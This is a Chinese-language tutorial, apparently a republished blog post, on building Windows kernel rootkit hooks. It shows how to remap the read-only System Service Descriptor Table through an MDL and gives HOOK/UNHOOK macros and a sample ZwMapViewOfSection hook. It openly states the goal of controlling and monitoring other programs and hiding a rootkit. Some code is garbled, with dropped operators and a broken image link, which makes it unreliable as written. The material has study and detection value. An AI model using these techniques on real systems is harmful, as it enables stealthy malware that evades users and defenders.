Rootkit技术之内核钩子原理

我们知道，应用程序总是离不开系统内核所提供的服务，比如它要使用内存的时候，只要跟操作系统申请就行了，而不用自己操心哪里有空闲的内存空间等问题，实 际上，这些问题是由操作系统的内核来代劳的。站在黑客的角度讲，如果能够控制内核，实际上就是控制了内核之上的各种应用程序。本文将向您介绍如何建立内核 级钩子来控制操作系统向上提供的各种低级功能。有了内核级钩子，我们不但能够控制、监视其他程序并过滤有关数据，还能用其实现Rootkit本身及其它程 序的隐形。
本文首先回顾系统调用表和内存保护方面的知识，然后讲解如何实现内核钩子，最后对一些重要的内核函数进行了简要的说明。

一、系统调用表

系统调用表又称系统服务表或者服务描述符表，是Windows 内核在进行各种系统操作时所需的一个函数指针表。也就是说，这个表中存放的是提供系统服务的各种函数的地址。当然，该表所指向的都是系统自身的一些函数， 但是，如果我们对它做了手脚后，就可以让它指向我们自己的函数。这正是本文要讲解的重点。
读者一定要注意，修改系统调用表及替换内核函数时，会对系统全局产生影响，稍有不慎就会导致系统崩溃。所以，下手之前，最好对表中的各个函数要有 足够的认识，然后才好用我们自己的函数替换这些内核函数的方法。你对它们了解得越多越深，在实现内核钩子的时候就越顺手。但话又说回来，这个系统调用表中 的表项实在是太多了，有的指向字符串操作，有的指向客户机/服务器操作，等等。所以要在短时间内了解所有表项是不可能的，所以下文中对它们只做有选择的、 概括的介绍。

二、内存保护

现代的Windows操作系统通常将系统调用表所在内存页设为只读来提供保护。如果不能克服这个问题，实施内核钩子技术就是痴人说梦。因为试图向只读内存写入数据也即修改只读内存区时，立刻就会蓝屏。为此，先让我们来了解一下内存保护方面的有关知识。
内存描述符表是内存保护的一大关键，具体定义详见微软DDK中的ntddk.h头文件，我们这里仅做简要介绍：
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
#define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA
MDL_PAGES_LOCKED
MDL_SOURCE_IS_NONPAGED_POOL
MDL_PARTIAL_HAS_BEEN_MAPPED
MDL_PARENT_MAPPED_SYSTEM_VA
MDL_SYSTEM_VA
MDL_IO_SPACE )


内存描述符表(MDL)的作用是将虚拟内存映射成物理页。如果将系统调用表所在内存页的MDL的MDLFlags成员设为MDL_MAPPED_TO_SYSTEM_VA 并且该页面被锁定的话，那么就可以使用内核钩子技术了。以下代码将可以达此目的：
#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
PVOID* NewSystemCallTable;
PMDL pMyMDL = MmCreateMdl( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
好了，我们现在可以通过NewSystemCallTable来新建系统调用表了。系统调用表如下图所示。

cs.xzking.com/d/file/20150130/e4a18c0aa11b0dd64f3d79848433e369.jpg' />
图1 系统调用表示意图

进行挂钩时，可以使用以下宏：
#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook 1)
#define HOOK(functionName, newPointer2Function, oldPointer2Function )
oldPointer2Function = (PVOID) InterlockedExchange( (PLONG)
&NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)
#define UNHOOK(functionName, oldPointer2Function)
InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)]
, (LONG)
oldPointer2Function)

使这些宏后，钩子技术会变得更简单，也更安全。因为InterlockedExchange 是原子函数，不会要求中止中断，所以交换指针的方式是安全的；另外，它也不需要用一个宏挂钩之后用另一个宏卸载钩子，所以也更方便。下图向我们展示了拦截系统调用表的过程。


图2 系统调用表拦截技术示意图

系统调用表数据结构KeServiceDescriptorTable不仅含有ntdll.dll 的全部函数指针，还存有系统调用表的基地址和表的大小，当建立我们自己的内存描述符表的时候，这些信息是不可或缺的。利用 MDL_MAPPED_TO_SYSTEM_VA 标志，我们可以建立一个不可页出（即不会被换到内存之外）的MDL ，这样我们就可以将其锁定，并把返回的地址用于我们自己的系统调用表，重要的是，这个系统调用表是可写的。

三、定义钩子函数

内核钩子主要有三部分组成：要钩取的函数（在下文中称为目标函数）、替代要钩取的函数的函数（在下文中成为钩子函数）和系统调用表。前面部分介绍 了系统调用表的问题，下面开始介绍钩子函数。一般说来，当定义自己的钩子函数时，可以先到DDK 的头文件中找到所想要的函数的原型，然后，稍加修改就能把目标函数变成钩子函数了。

例如，ZwMapViewOfSection 是一个内核函数，允许应用程序把从动态链接库导出的函数映射至内存。如果我们想要钩住这个内核函数，那么可以到ntddk.h头文件中查看其函数原型，如下所示：

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect );

有了函数原型，我们就可以确定指向目标函数的指针了，如下所示：

typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect );
ZWMAPVIEWOFSECTION OldZwMapViewOfSection;

钩子函数如下所示：

NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
DbgPrint("comint32: NewZwMapViewOfSection called.");
//我们可以对输入为所欲为，既可以马上返回，也可以继续执行原函数
status = OldZwMapViewOfSection(SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// 我们可以在此对输出为所欲为，想返回什么，就返回什么
return status;
}

好了，钩子技术的三大件已经准备好了。现在，我们就可以像下面这样使用它们：
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );

如果你打算使用DriverUnload ()的话，可千万不要忘了卸载钩子。

四、内核函数系列

经过上面的介绍，我们已经了解了系统调用表有关知识，也已知道如何拦截系统调用表中的函数，下面，我们再来了解一下我们要钩取的函数：目标函数。 这方面，如果我们不仅了解系统调用表中有哪些函数，还知道这些函数的工作机制就最好了。但实际上，ntdll.dll 中的导出函数有好几百个，别说一个一个的探究，就是把它们都列出来，看着看着头都大了。幸运的是，我们不必了解每个函数，只要了解其所在的系列就行了。为 什么这么说？因为微软已经按照函数的功能对Ntdll.dll的导出函数进行了分组，并冠以意义明确的前缀，所以根据函数系列的前缀就能明白它们的大体功 能了。下面对这些函数系列进行简单的介绍：

1.KiEtw系列：本系列内核函数用于系统内核，这些函数只能从内核的内部进行调用，常用的 有：KiUserCallbackDispatcher、KiRaiseUserExceptionDispatcher、 KiUserApcDispatcher、KiUserExceptionDispatcher等。

2.Csr系列：此系列函数用于客户机和服务器运行时，如果您想拦截客户机/服务器方面的操作，那么就需要对Csr系列内核函数做进一步的了解。 常见的有：CsrClientCallServer、CsrCaptureMessageBuffer、 CsrConnectClientToServer和CrsNewThread等。

3.Ldr系列：本系列内核函数用于加载程序管理器，如果你打算拦截加载程序的话，那么请进一步考察这组以Ldr为前缀的函数，常用的 有：LdrInitializeThunk、LdrLockLoaderLock、LdrUnlockLoaderLock、 LdrGetDllHandle、LdrGetProcedureAddress等。

4.Dbg系列：本系列内核函数用于调试管理，如果打算拦截调试操作的话，那么请进一步考察这组以Dbg为前缀的函数，常用的函数包括：、DbgBreakPoint、DbgUserBreakPoint、DbgPrint和DbgUiConnectToDbg等。

5.Etw系列：本系列内核函数用于追踪窗口事件，如果你打算拦截追踪之类的操作的话,那么请进一步考察这组以Etw为前缀的函数。常用的函数包 括：EtwTraceEvent、EtwEnableTrace、EtwGetTraceEnableLevel和 EtwGetTraceEnableFlags等。

6.Rtl系列：本系列内核函数用于运行时库，以Rtl为前缀的函数可以完成多种操作，例如字符串、线程、资源、临界区、安全对象的初始化和使用，内存、进程异常和数据类型的处理，还用于完成定时器、堆、IPv4和IPv6方面的操作，以及压缩和解压缩等。

7.Pfx系列：本系列内核函数用于ANSI字符串操作，如果你打算拦截ASNI串表方面的操作的话，就需要进一步了解这些函数。常用的包括：PfxInitialize、PfxRemovePrefix、PfxInsertPrefix、PfxFindPrefix等。

8.Zw系列：本系列内核函数用于文件和注册表方面的操作，比如文件操作、注册表操作、访问进程、事件操作、令牌操作、进程操作和端口操作等。

这里介绍的只是内核函数中的一部分，限于篇幅其他部分在此不作介绍。

六、结束语

本文深入介绍了系统调用表和内存保护方面的知识，并介绍了实现钩子函数的方法，最后对一些重要的内核函数进行了简要的说明。有了内核级钩子，我们 不但能够控制、监视其他程序并过滤有关数据，还能达到隐藏Rootkit本身及其它程序的目的。需要说明的是，尽管可以通过内核钩子技术来实现 rootkit所需的一些功能，但是，现实中的rootkit通常组合使用多种其它技术，如进程注射、分层驱动过滤等。更多的技术，将在后文中分别加以介 绍。

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